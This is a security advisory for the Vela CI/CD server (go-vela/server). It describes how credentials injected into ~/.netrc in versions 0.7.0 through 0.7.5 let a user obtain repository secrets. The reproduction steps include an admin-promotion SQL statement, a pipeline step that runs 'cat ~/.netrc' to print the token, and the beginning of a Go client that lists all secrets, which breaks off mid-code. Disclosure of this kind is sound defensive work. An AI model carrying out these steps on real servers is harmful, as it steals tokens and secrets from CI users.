Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.

Affected: Go: github.com/go-vela/server

### Impact _What kind of vulnerability is it? Who is impacted?_

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce

1. Create Vela server 2. Login to Vela UI 3. Promote yourself to Vela administrator - `UPDATE users SET admin = 't' WHERE name = <username>` 4. Activate repository within Vela 5. Add `.vela.yml` to the repository with the following content

```yaml version: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc ```

1. Look at build logs to find the following content

``` $ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> ```

1. Copy the password to be utilized in some later step 1. Add secret(s) to activated repo 1. Copy the following script into `main.go`

```golang package main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) }…